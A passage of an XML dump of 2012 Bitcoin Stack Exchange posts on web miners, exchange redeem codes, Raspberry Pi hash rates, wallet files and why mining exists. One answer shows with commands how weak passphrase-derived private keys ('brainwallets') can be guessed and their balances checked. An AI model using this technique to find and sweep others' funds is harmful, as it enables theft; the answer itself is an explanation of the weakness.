  <row Id="3155" PostTypeId="1" CreationDate="2012-03-11T13:57:02.907" Score="3" ViewCount="1821" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1520/what-is-the-status-on-webminers&quot;&gt;What is the status on webminers?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I love Bitcoin mining so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I need to do it without running a Java applet that I download {see BitMinter for an example of this} and without downloading a program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any Bitcoin miners that run from a web page and use the GPU? &lt;a href=&quot;https://duckduckgo.com/?q=online%20GPU%20bitcoin%20miners&quot; rel=&quot;nofollow noreferrer&quot;&gt;I couldn't find any.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, something similar to &lt;a href=&quot;http://www.bitcoinplus.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.bitcoinplus.com/&lt;/a&gt; but using the GPU with/instead of the CPU.&lt;/p&gt;&#xA;" OwnerUserId="1155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-04-17T20:12:17.110" Title="Are there any Bitcoin miners that run from a web page and use the GPU?" Tags="|gpu|webminer|" AnswerCount="1" CommentCount="0" ClosedDate="2012-03-14T00:30:45.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="3156" PostTypeId="2" ParentId="3155" CreationDate="2012-03-11T15:31:47.310" Score="3" Body="&lt;p&gt;The rather new WebCL technology enables this, unfortunately WebCL is not directly supported by browsers yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.coined.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.coined.com/&lt;/a&gt; &lt;br&gt;and &lt;a href=&quot;http://webcl.nokiaresearch.com/jsoclbm/&quot; rel=&quot;nofollow&quot;&gt;http://webcl.nokiaresearch.com/jsoclbm/&lt;/a&gt; for examples of such miners. I expect more will follow in the coming months.&lt;/p&gt;&#xA;" OwnerUserId="1153" LastEditorUserId="1153" LastEditDate="2012-03-11T15:41:35.630" LastActivityDate="2012-03-11T15:41:35.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3157" PostTypeId="1" AcceptedAnswerId="3158" CreationDate="2012-03-13T01:20:09.633" Score="8" ViewCount="10092" Body="&lt;p&gt;At MtGox (and presumably some other sites), you can withdraw money in the form of a redeemable code. These codes are also accepted for deposit at some Bitcoin exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this work? Specifically, is there protection against double-spending? Can I know that the code I got is still valid, and has not been given to others as well?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="153" LastEditDate="2012-03-13T06:07:03.150" LastActivityDate="2013-03-11T09:21:48.940" Title="How do MtGox redeemable codes work?" Tags="|exchanges|mtgox|trading|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3158" PostTypeId="2" ParentId="3157" CreationDate="2012-03-13T04:44:01.683" Score="6" Body="&lt;p&gt;The code is effectively just a long random string.  When you create a redeemable code, a random string is selected, entered into the database at the exchange and associated with a currency and an amount.  That string is your redeemable code.  The string is long enough to make it very unlikely that anyone would be able to guess it in a reasonable length of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first person to attempt to redeem the code gets the amount credited to their account on the exchange, which causes the database entry on the exchange for that code to be marked as having been redeemed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to tell whether a code is valid is to try redeeming it.  If it works, you're the first to try it.  If not, you're either not the first to try using it, or it was never a valid code to start with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchange should prevent &quot;double-spending&quot; by making sure that the &quot;look up whether code is spent; credit account; make code as spent&quot; sequence is an atomic operation.  We don't want two users both running through that same sequence at the same time, where both pass the &quot;look up whether code is spent&quot; check, then both accounts get credited, etc.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-03-14T00:34:55.570" LastActivityDate="2012-03-14T00:34:55.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3159" PostTypeId="2" ParentId="3157" CreationDate="2012-03-13T06:11:00.400" Score="2" Body="&lt;p&gt;They are bearer instruments.  Whomever redeems the code first gets the funds associated with the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are meant to allow USDs or bitcoins to be traded from one account to another.  Third party intermediaries, such as BitInstant or other exchanges themselves may accept them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are risks to these.  &lt;a href=&quot;http://www.bitcoinmoney.com/post/18506669111&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinmoney.com/post/18506669111&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-11T09:21:48.940" LastActivityDate="2013-03-11T09:21:48.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3160" PostTypeId="2" ParentId="286" CreationDate="2012-03-13T19:22:30.393" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://coinworker.com/&quot;&gt;CoinWorker&lt;/a&gt; pays Bitcoins for repetitive jobs such as identifying images that contain adult content, or rating search engine results.  It acts as a Bitcoin interface to the &lt;a href=&quot;http://crowdflower.com/&quot;&gt;CrowdFlower&lt;/a&gt; network.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-13T19:22:30.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3161" PostTypeId="2" ParentId="3093" CreationDate="2012-03-13T23:22:12.917" Score="1" Body="&lt;p&gt;PHP developer intro&#xA; - &lt;a href=&quot;http://en.bitcoin.it/wiki/PHP_developer_intro&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/PHP_developer_intro&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-03-13T23:22:12.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3165" PostTypeId="1" CreationDate="2012-03-15T00:47:31.567" Score="29" ViewCount="176422" Body="&lt;p&gt;A &lt;a href=&quot;http://www.raspberrypi.org/&quot; rel=&quot;noreferrer&quot;&gt;Raspberry Pi&lt;/a&gt; is a credit card sized $25 (or $45, for the deluxe option) computer, designed for educational use. Has anyone tried running mining software on it? If so, what's the hashrate like? (apparently the CPU is approximately equivalent to a P2 300MHz - I know the hashrate will be very low!)&lt;/p&gt;&#xA;&lt;p&gt;Also, can the GPU be used to mine? What's the hashrate for that, if it's been done.&lt;/p&gt;&#xA;&lt;p&gt;From the FAQ on the above linked site: &amp;quot;&lt;em&gt;The GPU provides Open GL ES 2.0, hardware-accelerated OpenVG, and 1080p30 H.264 high-profile decode.&#xA;The GPU is capable of 1Gpixel/s, 1.5Gtexel/s or 24 GFLOPs of general purpose compute and features a bunch of texture filtering and DMA infrastructure.&#xA;That is, graphics capabilities are roughly equivalent to Xbox 1 level of performance. Overall real world performance is something like a 300MHz Pentium 2, only with much, much swankier graphics.&lt;/em&gt;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Note: The price of $25 or $45 excludes a way of powering it (via MicroUSB), a keyboard, a mouse and likely a USB hub. I think you need to provide an SD card too.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2018-04-06T11:36:10.227" Title="What hash rate can a Raspberry Pi achieve? Can the GPU be used?" Tags="|mining-hardware|raspberry-pi|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3166" PostTypeId="2" ParentId="3165" CreationDate="2012-03-15T01:09:50.753" Score="10" Body="&lt;p&gt;The Raspberry Pi uses the VideoCore IV series of GPU, which to my understanding are either a single or dual core GPU running at or around 700 MHz. Since the primary benefit of GPU mining is that you can run many parallel processes on the hundreds of cores typically found in most GPUs, the single-core nature of the VideoCore GPU undoes most of that benefit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have exact numbers, nor the necessary knowledge to compute an estimate, but I can tell you that the Folding@Home folks &lt;a href=&quot;http://www.raspberrypi.org/forum/projects-and-collaboration-general/distributed-computing-like-fh&quot;&gt;already discussed this&lt;/a&gt; and came to the conclusion that an AMD Phenom II X4 940 was almost 5 times as efficient for their needs as utilizing both the CPU and GPU of the Raspberry Pi. Since the needs of Folding@Home are very similar (but not identical) to Bitcoin's, it's probably not a stretch to say that if CPU mining (admittedly with a fairly nice CPU) is 5x more efficient, the Raspberry Pi doesn't look like a strong contender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, until we have solid MH/s and actual at-the-wall wattage numbers it's very difficult to say if, at scale, a cluster of $35 Raspberry Pis could compete with other setups on initial price or power cost. Personally, I'd guess not.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-03-15T01:09:50.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3167" PostTypeId="1" AcceptedAnswerId="3169" CreationDate="2012-03-15T05:22:38.630" Score="5" ViewCount="374" Body="&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/block/000000000000051b42fd09195c75da7a084df7593f47ad18139cdc9cd83a112e&quot;&gt;http://blockexplorer.com/block/000000000000051b42fd09195c75da7a084df7593f47ad18139cdc9cd83a112e&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last three tx have a inputs with script_sig &quot;1&quot;.  This is invalid right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to protocol rules &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22block.22_messages&quot;&gt;https://en.bitcoin.it/wiki/Protocol_rules#.22block.22_messages&lt;/a&gt; it seems like the block (even if mined) should have been rejected by peers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;16.1.4: &quot;Verify crypto signatures for each input; reject if any are bad&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What am I missing?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2012-03-15T06:02:55.180" Title="How did these 3 tx make it into a block in the main chain?" Tags="|blockchain|script|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3168" PostTypeId="1" AcceptedAnswerId="3203" CreationDate="2012-03-15T05:34:02.453" Score="5" ViewCount="5096" Body="&lt;p&gt;I'm not entirely sure whether to ask this question on Bitcoin-SE or Stack Overflow, but I decided to post it here due to the direct relevancy of the question to Bitcoin and the general prominence of programming experience I have observed on Bitcoin-SE. If Bitcoin-SE is the incorrect place to post it, I apologize in advance; I'm new to SE and this was my best guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting, in order to better understand how Bitcoin mining works, to code a simple Bitcoin CPU miner in Java, which I have some but not much experience with. All the online resources on JSON-RPC implementation in Java I have found have either been out of date and no longer functional or incomprehensible for someone with limited Java experience. How, in the most simplistic way possible, would I code a JSON-RPC &lt;code&gt;getwork&lt;/code&gt; request (to a pool server) in Java and correctly parse the output into the variables required for mining?&lt;/p&gt;&#xA;" OwnerUserId="1171" LastEditorUserId="5406" LastEditDate="2016-03-31T16:59:21.017" LastActivityDate="2016-03-31T16:59:21.017" Title="How can I code a Bitcoin JSON-RPC &quot;getwork&quot; request in Java?" Tags="|json-rpc|mining-software|cpu-mining|getwork|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3169" PostTypeId="2" ParentId="3167" CreationDate="2012-03-15T05:43:06.220" Score="7" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;script page&lt;/a&gt; of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot;&gt;bitcoin wiki&lt;/a&gt; tells us that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A transaction is valid if nothing in the combined script triggers failure and the top stack item is true (non-zero)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To validate a transaction's input, first the input's scriptSig is run, then the scriptPubKey of the output it's trying to spend is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transactions in question have a scriptSig of '1' and the outputs they're spending have a  scriptPubKey of OP_DUP OP_DUP OP_DUP.  Running these will cause a '1' to be put onto the stack, and then for the '1' to be copied three times, ending up with a stack of: [1, 1, 1, 1].  The top stack item is non-zero, so it's fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To address your question about crypto signatures, while it's true that any OP_CHECKSIG in either script has to pass there was none in these scripts, so none of them were bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current version of the client rejects &quot;non standard&quot; scriptPubKey scripts in the individual transactions that it receives from the network, and refuses to pass them on, but doesn't appear to do the same for transactions in already-mined blocks that it receives.  So this block was likely mined by the person who made this transaction, using custom software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody seeing those outputs could have immediately claimed them.  Note however that these easily-redeemed outputs were created and redeemed in &lt;a href=&quot;http://blockexplorer.com/b/168910&quot;&gt;the same block&lt;/a&gt;, leaving no risk of someone else redeeming them.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-03-15T06:02:55.180" LastActivityDate="2012-03-15T06:02:55.180" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3170" PostTypeId="2" ParentId="22" CreationDate="2012-03-15T08:52:44.033" Score="113" Body="&lt;p&gt;It is possible to brute force some Bitcoin addresses, because some people generate their private keys in an insecure manner.  Any (non-zero) 32 bytes can be a private key.  So running sha256 over a passphrase gives an apparently random, but brute force-able private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take sha256(&quot;sausage&quot;) for instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo -n 'sausage' | sha256sum&#xA;30caae2fcb7c34ecadfddc45e0a27e9103bd7cfc87730d7818cc096b1266a683  -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Load up &lt;a href=&quot;https://www.bitaddress.org/&quot;&gt;bitaddress&lt;/a&gt; and paste that private key into the 'wallet details' tab to get the corresponding Bitcoin address, then look it up on &lt;a href=&quot;http://blockexplorer.com/address/1TnnhMEgic5g4ttrCQyDopwqTs4hheuNZ&quot;&gt;blockexplorer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ GET http://blockexplorer.com/q/getreceivedbyaddress/1TnnhMEgic5g4ttrCQyDopwqTs4hheuNZ; echo&#xA;0.01000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you'll see that the address held one bitcent for about 2 days in February 2012.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &quot;fuckyou&quot;, which &lt;a href=&quot;http://blockexplorer.com/address/1LdgTMX2MEqdfT3VcDpX4GyD1mqCP8LkYe&quot;&gt;held 2.5 bitcents&lt;/a&gt; for 12 festive days at the turn of last year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in practice it's possible to brute force bitcoin address creation, but only for poorly chosen passphrases.  These were probably just people playing around with the idea of &quot;storing bitcoins in their head&quot; which is why they are for such small amounts, and why they weren't left funded for long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No address balances were harmed in the making of this answer.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-15T08:52:44.033" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3171" PostTypeId="1" AcceptedAnswerId="3187" CreationDate="2012-03-15T12:04:28.447" Score="9" ViewCount="6907" Body="&lt;p&gt;how is the relation betweeen network hash rate to healthyness of bitcoin, such as bitcoin value compared to USD, or the growth rate of this currency?&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2012-12-01T16:58:22.550" Title="Relation between Network Hash-Rate &amp; bitcoin value?" Tags="|hash|value|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3172" PostTypeId="1" CreationDate="2012-03-15T12:17:11.987" Score="6" ViewCount="274" Body="&lt;p&gt;I'am currently new to bitcoin &amp;amp; doesn't any finance or market background, currently I got huge interest to how this currency system will affect our life, as I spend more and more time reading about bitcoin, then I feel I need more knowledge about how finance world work, and how to do market analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you give me a point where I should start learning about finance especially the one is connected to this bitcoin things?&lt;/p&gt;&#xA;" OwnerUserId="1173" LastEditorUserId="132" LastEditDate="2012-03-15T15:14:05.063" LastActivityDate="2019-10-09T08:45:31.810" Title="How do I get started in finance &amp; market analysis?" Tags="|finance|marketing|technical-analysis|learning|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3173" PostTypeId="1" AcceptedAnswerId="3177" CreationDate="2012-03-15T13:19:23.460" Score="16" ViewCount="7242" Body="&lt;p&gt;What information does the Bitcoin wallet file used by the Bitcoin.org client contain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the owner's Bitcoin balance written in the &lt;code&gt;wallet.dat&lt;/code&gt; file, or does it contain a list of transactions that have been made since the beginning of wallet creation?  Does the wallet's filesize grow bigger as more transactions are made?&lt;/p&gt;&#xA;" OwnerUserId="1173" LastEditorUserId="105" LastEditDate="2013-02-10T20:56:43.857" LastActivityDate="2013-04-02T20:40:31.177" Title="What information does a wallet contain?" Tags="|wallet|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3174" PostTypeId="1" CreationDate="2012-03-15T14:40:39.160" Score="11" ViewCount="6545" Body="&lt;p&gt;I don't understand the logic of &quot;mining&quot;, if bitcoins are a digital currency, why do we need a GPU to &quot;make 'em&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1174" LastEditorUserId="5406" LastEditDate="2016-03-07T10:35:40.090" LastActivityDate="2018-05-13T12:55:01.990" Title="What is the rationale behind Bitcoin mining?" Tags="|mining-theory|money-supply|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3175" PostTypeId="2" ParentId="3171" CreationDate="2012-03-15T14:48:56.187" Score="2" Body="&lt;p&gt;Bitcoin hash rate is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;25 BTC / (physical cost to perform one hash in BTC) / 10 minutes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are two factors in this formula which are subject to change:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The physical cost to perform one hash in BTC is obviously linked (linearly) to the healthiness (trade value) of the currency. It's also subject to change with hardware improvements, but this has no effect on the overall security of the system. (Attackers would also benefit from it.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Last, 25 BTC is in fact not fixed: it's an approximation of today's block reward + transaction fees miners get mining one block.&#xA;In particular, every 4 years this reward is scheduled to be divided by two. Therefore, if the trade value of bitcoins is not multiplied by two every four years, the total effort spent on mining (to secure the chain) could decrease.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2012-12-01T16:58:22.550" LastActivityDate="2012-12-01T16:58:22.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3176" PostTypeId="2" ParentId="3173" CreationDate="2012-03-15T15:09:41.540" Score="2" Body="&lt;p&gt;A default bitcoin wallet contains a list of private and pub key pairs. A number of keys are created on generation this is to allow for &quot;swap&quot; as you send money from it, these are not visible directly. This does not affect your balance which you use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your transactions are stored within the blockchain. If you generate new address to receive to then your wallet size will grow. If your wallet is moved to a new computer, with no blockchain, it will appear empty until you download blocks up until your transactions are known by the client.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-03-15T15:09:41.540" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3177" PostTypeId="2" ParentId="3173" CreationDate="2012-03-15T15:21:36.567" Score="14" Body="&lt;p&gt;From looking at the code, the wallet.dat can contain entries of the following types:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;name&lt;/code&gt; - an address book name&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tx&lt;/code&gt; - a transaction&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;acentry&lt;/code&gt; - an accounting entry&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;key&lt;/code&gt; - a pair of public and private keys&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mkey&lt;/code&gt; - a master key&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ckey&lt;/code&gt; - an encrypted key&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;defaultkey&lt;/code&gt; - the default receiving address' key&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pool&lt;/code&gt; - a keypool entry&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;version&lt;/code&gt; - the version of the software that wrote this wallet&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;minversion&lt;/code&gt; - the earliest version of the software that can read this wallet&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cscript&lt;/code&gt; - a script&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bestblock&lt;/code&gt; - a pointer to the end of the best blockchain seen&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wkey&lt;/code&gt; - a private key (no longer used)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;setting&lt;/code&gt; - used to store user interface settings (no longer used, except to hold an invalid setting to stop pre-0.4.0 versions of the client which don't understand &lt;code&gt;minversion&lt;/code&gt; from loading wallets that are too new for them)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://bitcoin.stackexchange.com/a/854/659&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-03-16T16:41:30.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3178" PostTypeId="2" ParentId="3174" CreationDate="2012-03-15T15:23:33.630" Score="-3" Body="&lt;p&gt;The term &quot;money doesnt grow on trees&quot; springs to mind. Ask yourself these questions for now.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Where do we distribute wealth?&lt;/li&gt;&#xA;&lt;li&gt;What gives it value?&lt;/li&gt;&#xA;&lt;li&gt;How can we stop people making forgeries?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All these problems can be resolved by requiring complex computational algorithms that require you (or your hardware as the case may be) to work out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using cryptography we can use a distributed system, give it rarity due to the supply at which they can be created and highly improbable for someone to make a forgery (or double spend a transaction in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are only a few of the possible scenarios which rely on cryptography to solve problems with Bitcoin. &lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="659" LastEditDate="2012-03-16T16:49:28.060" LastActivityDate="2012-03-16T16:49:28.060" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3179" PostTypeId="1" AcceptedAnswerId="3206" CreationDate="2012-03-15T15:33:56.287" Score="13" ViewCount="8274" Body="&lt;p&gt;I am really having difficulty answering this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does a bitcoin have an economic value, such that there are people willing to&#xA;  trade US$ (or any other traditional currency) for these virtual numbers?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What did the creator of Bitcoin do at the &lt;strong&gt;start&lt;/strong&gt; to give it economic value?&lt;/p&gt;&#xA;" OwnerUserId="1173" LastEditorUserId="2306" LastEditDate="2015-01-24T17:07:06.470" LastActivityDate="2017-06-24T01:43:15.280" Title="Why did Bitcoin first start to gain economic value?" Tags="|economic-theory|value|historical-trade-data|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3180" PostTypeId="2" ParentId="3174" CreationDate="2012-03-15T15:49:36.110" Score="2" Body="&lt;p&gt;Bitcoin blocks have been &lt;strong&gt;deliberately&lt;/strong&gt; made difficult to mine. The point is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To prevent the network to be flooded with a ton of  valid blocks that have to be checked for validity and stored. (The difficulty to mine them is &lt;em&gt;dynamically&lt;/em&gt; adjusted so that in average, worldwide, one block is generated every 10 minutes.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, this gives time for newly created blocks to spread across the network. Typical millisecond latencies can then be ignored. If latencies were not negligible, the mining 'game' would be unfair to poorly connected miners.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And to finish answering your question, the purpose of mining is &lt;strong&gt;not&lt;/strong&gt; to distribute coins, but to collectively build a reference transaction history. Coin distribution is just a reward to those who participate. Please refer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/910&quot;&gt;How does the mining process support the currency?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-03-15T18:36:33.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3181" PostTypeId="2" ParentId="3179" CreationDate="2012-03-15T15:56:36.067" Score="5" Body="&lt;p&gt;Bitcoins have value because they are useful.  They have useful properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/185/659&quot;&gt;This answer&lt;/a&gt; expands on this at length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for what the author wrote in the very beginning, you can read &lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg10142.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the announcement of Bitcoin v0.1&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin was worth very little for the first year. In &lt;a href=&quot;http://bitcointalk.org/?topic=137.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt;, written 16 months after Bitcoin's launch, you can read the conversation leading up to a guy buying &lt;a href=&quot;http://heliacal.net/~solar/bitcoin/pizza/.t/IMG_0988.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;2 large pizzas&lt;/a&gt; for 10,000 BTC.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-03-18T01:41:34.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3182" PostTypeId="2" ParentId="3172" CreationDate="2012-03-15T16:56:07.040" Score="3" Body="&lt;p&gt;Market analysis usually consist of Fundamental Analysis and Technical Analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend &lt;a href=&quot;http://www.babypips.com&quot; rel=&quot;nofollow&quot;&gt;http://www.babypips.com&lt;/a&gt; to get started with the the Technical Analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fundamentals consist of understanding how the economy is effected by news and business. Social psychology to specific events and can vary depending on what market your looking into.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-03-15T16:56:07.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3183" PostTypeId="2" ParentId="3174" CreationDate="2012-03-15T18:19:08.833" Score="8" Body="&lt;h2&gt;Why do we mine?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We need to all agree on who owns which coins.  If your idea of who owns what is different than mine then how can we trade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this, the Bitcoin protocol keeps its ledger of all transactions in a series of blocks, with each block recording a collection of transactions.  Since we don't have a central authority to declare which blocks are valid, we run a 'lottery' instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each miner bundles up all the new transactions he knows about, adds in an extra transaction which creates some coins out of thin air and pays them to the miner, mixes in a random number and hashes the whole thing.  If he gets a hash less than a certain number, he wins and his block is added to the blockchain.  If not, he tries with a different random number, over and over.  Everyone else can verify that his random number with his transactions hashes to a low enough number, so they accept his block.  The network periodically adjusts what this target &quot;low enough number&quot; is, in an attempt to keep the average speed of block generation at about 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Why do we need a GPU, not a CPU?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You generate coins by calculating hashes.  Each hash you calculate has a certain chance of making a block, and earning the associated reward, which is currently 50 coins.  The faster you can calculate hashes, the more chance you have of generating 50 coins.  It just so happens that ATI GPUs have the right kind of hardware in them to calculate sha256 hashes many times faster than an Intel CPU can do it.  That's why people use GPUs instead of CPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network automatically adjusts the &quot;chance per hash&quot; to try to keep the global rate of generation at one block every ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the beginning, before GPU mining started in earnest and not many people were mining, 